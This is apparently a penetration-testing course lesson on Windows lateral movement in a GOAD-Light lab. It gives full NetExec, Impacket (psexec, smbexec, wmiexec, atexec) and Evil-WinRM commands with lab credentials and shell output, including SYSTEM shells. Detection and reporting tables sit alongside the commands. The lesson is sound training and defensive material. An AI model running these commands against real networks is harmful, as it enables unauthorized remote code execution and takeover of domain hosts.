| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | netexec 1.5.1python3-impacket 0.13.0+gitevil-winrm 3.9 |
| Lab environment | Proxmox lab |
| Cert prep | CompTIA PenTest+ PT0-003 — Domain 5 (Post-exploitation and lateral movement) |
| Privilege | Domain admin-capable credentials for remote execution; standard users may authenticate but not receive (Pwn3d!) |
| Scope | Service discovery for SMB (445), RPC/WMI (135), and WinRM (5985); admin-access mapping with NetExec; remote execution with Impacket psexec, smbexec, wmiexec, and atexec; interactive WinRM with Evil-WinRM. Assumes you already validated credentials — see NetExec remote command execution. Does not cover pass-the-hash replay, pivoting, or persistence. |
You have domain credentials on one Windows host. Lateral movement is reusing that identity — or a hash or ticket from the same account — to reach another in-scope machine through a remote administration service.
Prerequisites: Deploy GOAD-Light on Proxmox finished and reachable from Kali on vmbr1. You also need domain credentials validated in NetExec remote command execution or pass-the-hash and pass-the-ticket.
Windows lateral movement quick start
The practical question is: I have credentials — how do I move to another Windows host?
Prerequisites
- Valid password, NTLM hash, or Kerberos ticket for the target identity
- Network reachability to another host in scope
- A remote service on that host that accepts the identity
- Authorization for remote execution on that service (local admin is common for PsExec and WMI; WinRM has its own remoting rules)
This walkthrough uses a plaintext domain-admin-capable password on GOAD-Light. Pass-the-hash and pass-the-ticket cover hash and ticket replay without the password.
Mental model
Valid credential
↓
nxc smb <range> → find SMB-admin-capable hosts
↓
Test the remote service you want to use
├─ PsExec → impacket-psexec or nxc --exec-method smbexec
├─ WMI → impacket-wmiexec or nxc --exec-method wmiexec
├─ Task Scheduler → impacket-atexec or nxc --exec-method atexec
└─ WinRM → evil-winrm or nxc winrm
↓
Confirm hostname + whoami on a different host(Pwn3d!) on SMB means the credential has administrative access suitable for PsExec-style execution on that host. WMI and WinRM still need their own tests — protocol permissions and firewalls can differ.
Sweep the range for admin-capable SMB targets:
nxc smb 10.10.10.20-22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.localLook for (Pwn3d!) on the hosts you want to pivot to. On a target that shows it, try one SMB execution path:
impacket-psexec north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!@10.10.10.22When you need an interactive PowerShell session over WinRM:
evil-winrm -i 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!'The sections below explain ports, protocol differences, and full lab output for each path.
What is lateral movement on Windows?
Lateral movement answers: Which other hosts can this identity administer, and through which protocol? You are not exploiting a new vulnerability — you are replaying an identity the domain already trusts against services that accept remote administration.
Common command-line execution channels from Kali:
- PsExec-style SMB execution — normally uploads a temporary service executable to a writable administrative share such as
ADMIN$, then creates and starts a service over TCP445; often runs asNT AUTHORITY\SYSTEM - WMI / DCOM — creates a process through
Win32_Process; begins on the RPC endpoint mapper (135) and negotiated dynamic RPC ports; Impacketwmiexecalso uses SMB445for output - Task Scheduler (
atexec) — creates and runs a one-shot scheduled task over SMB/RPC; no persistent service and no WMI process creation - WinRM — PowerShell remoting over HTTP(S) on port
5985or5986
RDP is another common Windows lateral-movement channel (T1021.001), but this tutorial focuses on command-line remote execution from Kali with PsExec, WMI, scheduled tasks, and WinRM.
MITRE ATT&CK maps SMB admin shares to T1021.002, DCOM-based remote services to T1021.003, WinRM to T1021.006, and Windows Management Instrumentation itself to T1047. WMI can operate through DCOM, but WMI process creation is its own technique.
If you have not confirmed that your recovered password still works on SMB, start with the NetExec and Impacket lesson — this chapter assumes authentication succeeds and focuses on moving between hosts.
Compare PsExec, WMI, WinRM, and scheduled tasks
Each technique needs different network paths and leaves a different execution context. Use this table after service discovery.
| Method | Network requirement | How it runs | Typical whoami context |
Best when |
|---|---|---|---|---|
impacket-psexec |
SMB 445 |
Uploads a temporary service executable to a writable administrative share such as ADMIN$, then creates and starts a service |
NT AUTHORITY\SYSTEM |
You need SYSTEM through SMB admin access |
smbexec (NetExec / Impacket) |
SMB 445 |
Service-based cmd execution over SMB; related family, different implementation than PsExec upload | NT AUTHORITY\SYSTEM |
One-shot SMB commands without a full PsExec shell |
wmiexec |
RPC 135 + dynamic RPC ports; SMB 445 for output |
WMI/DCOM process create | Authenticating account context; remote execution commonly requires local admin-equivalent rights | One-shot commands without creating a service |
atexec |
SMB 445 and RPC access for Task Scheduler |
Creates and runs a scheduled task | Often NT AUTHORITY\SYSTEM depending on task configuration and tool |
Service creation or WMI is undesirable or unavailable |
| WinRM / Evil-WinRM | 5985 HTTP / 5986 HTTPS |
WS-Management shell | Authenticating account context; authorization depends on WinRM/remoting configuration | Interactive PowerShell remoting |
Port and protocol dependencies:
- PsExec and
smbexecride SMB (445) and named pipes / Service Control Manager RPC over SMB — TCP135is not a normal requirement for either - WMI/DCOM starts on the RPC endpoint mapper (
135), then uses dynamically assigned RPC ports;wmiexecstill needs SMB445to retrieve command output atexecuses the Task Scheduler remote workflow over SMB/RPC; NetExec trieswmiexec, thenatexec, thensmbexecunless you force--exec-method- WinRM is separate — open
5985does not prove your account is authorized to remote, and SMB admin does not guarantee WinRM access
Set GOAD-Light lab variables
Export the same names on every Kali shell so targets stay consistent with the GOAD-Light deploy guide:
export DOMAIN_CHILD=north.sevenkingdoms.local
export LAB_MEMBER=10.10.10.22
export LAB_DC=10.10.10.21
export LAB_ADMIN_USER=eddard.stark
export LAB_ADMIN_PASS='FightP3aceAndHonor!'What each variable points at:
LAB_MEMBER(10.10.10.22) — member servercastelblack; default target for PsExec and WMILAB_DC(10.10.10.21) — child domain controllerwinterfell; WinRM demo against a DCLAB_ADMIN_USER/LAB_ADMIN_PASS— domain admin-capable account that earns(Pwn3d!)on child-domain hosts10.10.10.20(kingslanding) — parent forestsevenkingdoms.local; same password may log in without admin execution rights
Discover SMB, WMI, and WinRM services
Before you pick a technique, confirm which initial ports are open. These are the usual entry points:
445— SMB; required for PsExec,smbexec, and WMI output throughwmiexec135— RPC endpoint mapper; WMI/DCOM negotiation starts here (dynamic RPC ports follow)5985/5986— WinRM over HTTP / HTTPS
Run a focused Nmap scan on the three GOAD-Light Windows addresses:
nmap -Pn -p445,135,5985,5986 --open 10.10.10.20-22PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
5986/tcp open wsmans
...
Nmap done: 3 IP addresses (3 hosts up) scanned in 3.88 secondsThe scan shows these hosts expose the initial services used by SMB, RPC/WMI, and WinRM. Actual execution still depends on protocol-specific authorization and, for WMI/DCOM, reachability of the negotiated RPC endpoints. Open WinRM does not mean a particular credential is authorized for remoting.
For version banners on a single target, add -sV:
nmap -Pn -sV -p445,135,5985 --open "$LAB_MEMBER"PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsPort 5985 labeled as http is normal — WinRM speaks HTTP on that port. Record open ports per host in your notes before execution attempts.
Map admin access across Windows hosts
Authentication on SMB is not the same as permission to move. Read the last column of each nxc smb line:
[+]only — password works; you are not local admin on that host for SMB remote execution[+]with(Pwn3d!)— administrative SMB access; proceed with PsExec orsmbexecon that host- No
[+]— wrong password, domain, or blocked SMB
For SMB, (Pwn3d!) identifies hosts where the credential has administrative access suitable for SMB-based execution such as PsExec. WMI and WinRM should still be tested independently because protocol permissions and network access can differ.
Sweep the in-scope range with one command:
nxc smb 10.10.10.20-22 -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD"SMB 10.10.10.21 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) ...
SMB 10.10.10.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) ...
SMB 10.10.10.20 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) ...
SMB 10.10.10.21 445 WINTERFELL [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.20 445 KINGSLANDING [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor!How to read this sweep:
winterfellandcastelblack—(Pwn3d!)on both; your lateral-movement targets for this lessonkingslanding—[+]without(Pwn3d!); password works across the trust, but this account is not admin there
BloodHound automates the same graph question at scale (HasSession, AdminTo, shortest path to high value). NetExec gives you a quick SMB check from the shell when you already know the IP range.
Move laterally with PsExec and SMBExec
impacket-psexec normally uploads a temporary service executable to a writable administrative share such as ADMIN$, then creates and starts a service and runs your command. That path uses SMB 445 — not TCP 135:
impacket-psexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.22.....
[*] Found writable share ADMIN$
[*] Uploading file mXpVQtNJ.exe
[*] Opening SVCManager on 10.10.10.22.....
[*] Creating service nGTb on 10.10.10.22.....
[*] Starting service nGTb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\systemThe service path explains the SYSTEM context — different from WMI or WinRM, which usually run as the authenticating user. Type exit to tear down the service. Impacket may print STATUS_PIPE_BROKEN while closing the pipe; that is harmless after whoami already returned.
NetExec also provides an smbexec service-based execution backend for one-shot commands. It uses the same general SMB/service-control family as PsExec, but the implementation differs — smbexec does not upload a RemCom-style binary the way impacket-psexec does:
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method smbexec -x whoamiSMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.22 445 CASTELBLACK [+] Executed command via smbexec
SMB 10.10.10.22 445 CASTELBLACK nt authority\systemDocument the execution method and account context in your report — blue teams correlate new services on ADMIN$ with PsExec-style activity.
Move laterally with WMI / WMIExec
WMI/DCOM begins through the RPC endpoint mapper on TCP 135, then uses dynamically assigned RPC ports. Impacket wmiexec creates a remote process that way and uses SMB 445 to retrieve command output.
Without --exec-method, NetExec starts with wmiexec for SMB command execution and can fall back to other supported backends if it fails. Use --exec-method wmiexec when you specifically want to test WMI execution:
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method wmiexec -x whoamiSMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.22 445 CASTELBLACK [+] Executed command via wmiexec
SMB 10.10.10.22 445 CASTELBLACK north\eddard.starkHere whoami shows the domain user, not SYSTEM — an important distinction when you chain to token abuse or need a stable named account in the log.
For a semi-interactive session, call Impacket directly:
impacket-wmiexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
north\eddard.starkOpen port 135 alone does not prove WMI execution will succeed — dynamic RPC ports must also be reachable, and SMB 445 is still required for output.
Move laterally with scheduled tasks / AtExec
atexec uses Windows Task Scheduler for remote command execution. Unlike PsExec or smbexec, it does not create a long-running service. Unlike wmiexec, it does not use WMI process creation. Impacket creates a one-shot task, runs your command, deletes the task, and reads output from ADMIN$\Temp.
NetExec includes atexec in its default SMB execution fallback chain (wmiexec → atexec → smbexec). Force it when you want to test that path explicitly:
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method atexec -x whoamiSMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.22 445 CASTELBLACK [+] Executed command via atexec
SMB 10.10.10.22 445 CASTELBLACK nt authority\systemThe same workflow through Impacket directly:
impacket-atexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER" whoamiImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating task \zmQLJJWv
[*] Running task \zmQLJJWv
[*] Deleting task \zmQLJJWv
[*] Attempting to read ADMIN$\Temp\zmQLJJWv.tmp
nt authority\systemOn this lab host atexec returned SYSTEM, but task context depends on how the remote task is configured. Record the method and whoami output in your notes either way.
Move laterally with WinRM and Evil-WinRM
WinRM is the native remoting channel for PowerShell on 5985 or 5986. Test it on the domain controller the same way you tested SMB on the member server:
nxc winrm "$LAB_DC" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x hostnameWINRM 10.10.10.21 5985 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local)
WINRM 10.10.10.21 5985 WINTERFELL [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM 10.10.10.21 5985 WINTERFELL [+] Executed command (shell type: cmd)
WINRM 10.10.10.21 5985 WINTERFELL winterfellThe hostname in the last line confirms you moved from Kali to winterfell, not merely authenticated.
Repeat on castelblack to show WinRM works on member servers too:
nxc winrm "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoamiWINRM 10.10.10.22 5985 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM 10.10.10.22 5985 CASTELBLACK [+] Executed command (shell type: cmd)
WINRM 10.10.10.22 5985 CASTELBLACK north\eddard.starkWhen you need a full PowerShell workspace, Evil-WinRM opens an interactive WinRM shell:
evil-winrm -i "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS"Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\eddard.stark\Documents> whoami
north\eddard.starkUpload, download, and Invoke-Binary features in Evil-WinRM help during post-exploitation. After pass-the-hash you can pass -H with the NT hash instead of -p when NTLM is accepted.
Default PowerShell remoting access normally centers on the Administrators group, although custom endpoints and remoting groups can change who is authorized. Sessions execute in the authenticated user's context on ports 5985 (HTTP) or 5986 (HTTPS).
What about RDP lateral movement?
RDP uses TCP/UDP 3389 and delivers an interactive desktop rather than command-only remote execution. The account must be allowed to log on through Remote Desktop Services. On Kali, xfreerdp is the usual client for authorized lab testing.
Restricted Admin mode becomes relevant when you move with an NT hash instead of a password — that workflow belongs in the pass-the-hash lesson. This chapter stays with command-line channels; RDP is here so you recognize the port and Logon Type 10 when it appears in discovery or reporting.
Choose a Windows lateral movement method
Use open services, authorization, and the privilege you need to pick a channel:
| Situation | Start with | Why |
|---|---|---|
SMB 445 open + admin access, need SYSTEM |
impacket-psexec or nxc --exec-method smbexec |
Service-based SMB execution as local SYSTEM |
| WMI/DCOM reachable + SMB output available | impacket-wmiexec or nxc --exec-method wmiexec |
Process create over DCOM; runs as the authenticating user |
| Service creation blocked but Task Scheduler works | nxc --exec-method atexec or impacket-atexec |
One-shot task without a persistent service or WMI |
WinRM 5985/5986 open and authorized |
evil-winrm or nxc winrm |
Native PowerShell remoting |
(Pwn3d!) on SMB but WinRM fails |
PsExec, WMI, or atexec over SMB |
WinRM authorization is separate from SMB admin |
| Many hosts to rank | nxc smb <range> then BloodHound |
Find (Pwn3d!) quickly before interactive work |
Re-run the port scan after firewall changes mid-engagement. A host that answered 5985 yesterday may not today.
Detect and report lateral movement
Blue teams and pen test reports should distinguish methods by artifacts, not only open ports:
| Method | Useful detection signals |
|---|---|
| PsExec | New service plus uploaded binary on ADMIN$; Event ID 7045 (service installed) |
smbexec |
Temporary service creation without a RemCom-style uploaded executable |
wmiexec |
Remote WMI activity; process creation under wmiprvse.exe |
atexec |
Scheduled task create/run/delete over the network; Task Scheduler operational logs |
| WinRM | Remote-management authentication and session telemetry on 5985/5986 |
| RDP | Interactive remote logon — Event ID 4624 with Logon Type 10 |
At minimum, record source IP, target host, account, protocol, execution context (whoami result), and whether the attempt succeeded. That evidence supports both client reporting and defender hunt hypotheses.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
[+] auth but no (Pwn3d!) |
Account is not local admin on that host | Try another identity, escalation, or a different target from your graph |
(Pwn3d!) on SMB but WinRM fails |
WinRM not authorized for that principal | Use PsExec or WMI over SMB instead |
wmiexec works, psexec fails |
Service creation, ADMIN$ write, SMB service-control access, or endpoint security blocked PsExec |
Verify ADMIN$/SCM access; use WMI or WinRM if those paths are authorized and available |
Port 135 open but WMI fails |
Dynamic RPC ports blocked | Check host firewall; try SMB-based smbexec if admin SMB works |
Auth works on kingslanding without (Pwn3d!) |
Cross-forest trust without admin rights | Stay in north.sevenkingdoms.local hosts or pursue parent-domain paths separately |
STATUS_PIPE_BROKEN after PsExec exit |
Normal Impacket teardown noise | Ignore if command output already succeeded |
KDC_ERR_S_PRINCIPAL_UNKNOWN with Kerberos tools |
IP-only target | Use hostname.domain.local FQDN |
Summary
Lateral movement on Windows means reusing a domain identity against remote administration services. The quick-start path is credential → nxc smb sweep for (Pwn3d!) → pick an open service → confirm hostname and whoami on a new host.
On GOAD-Light you scanned for SMB, RPC, and WinRM entry points, mapped admin SMB access on winterfell and castelblack, and moved with PsExec, WMI, atexec, and WinRM. PsExec, smbexec, and atexec returned NT AUTHORITY\SYSTEM while WMI and WinRM ran as north\eddard.stark — record that difference and the protocol-specific artifacts in engagement notes. Parent-domain kingslanding accepted the password but did not grant SMB execution rights, which is a common dead end across trust boundaries.
After you can reach multiple hosts, continue with pass-the-hash and pass-the-ticket to move without the plaintext password, and map longer paths in BloodHound before you spend time on interactive shells.
References
- MITRE ATT&CK T1021 — Remote Services
- MITRE ATT&CK T1021.001 — Remote Desktop Protocol
- MITRE ATT&CK T1021.002 — SMB/Windows Admin Shares
- MITRE ATT&CK T1021.003 — Distributed Component Object Model
- MITRE ATT&CK T1021.006 — Windows Remote Management
- MITRE ATT&CK T1047 — Windows Management Instrumentation
- Microsoft Learn — WinRM overview
- Impacket project (GitHub)
- Evil-WinRM project (GitHub)
- GOAD-Light lab description
Frequently Asked Questions
What credentials are needed for Windows lateral movement?
A valid password, NTLM hash, or Kerberos ticket may be enough to authenticate, but remote execution also requires the account to be authorized for the target service. Local administrator rights are common for PsExec and WMI over SMB, while WinRM can also be granted through remoting groups and endpoint configuration.
What is the difference between lateral movement and privilege escalation?
Lateral movement spreads access to additional hosts with the same or another identity. Privilege escalation raises the rights of the current session on one machine — for example from standard user to local administrator. You often lateral move first to reach a host where escalation is easier.
Does PsExec always run as SYSTEM?
Impacket psexec and NetExec smbexec create a service and commonly execute as NT AUTHORITY\SYSTEM. WMI and WinRM typically run in the authenticating user's security context unless you chain another technique.
Why did eddard.stark authenticate on kingslanding without (Pwn3d!)?
The password is valid in the parent forest, but the account is not a local administrator on that host. (Pwn3d!) signals SMB execution rights on the target, not merely a successful logon.
Can I lateral move with only an NT hash?
Yes, when the service accepts NTLM. NetExec accepts -H and Evil-WinRM accepts -H for WinRM. The dedicated pass-the-hash lesson covers hash replay without storing the plaintext password.
When should I use Evil-WinRM instead of nxc winrm?
Use nxc winrm -x for single commands across many hosts. Use Evil-WinRM when you need an interactive PowerShell session with upload, download, and script execution on one target.
Why does Evil-WinRM fail when NetExec SMB shows Pwn3d!?
(Pwn3d!) in an SMB scan confirms administrative access through SMB. It does not prove the account is authorized through WinRM or that the WinRM listener and firewall path are reachable from your position. Test nxc winrm separately on the target host.

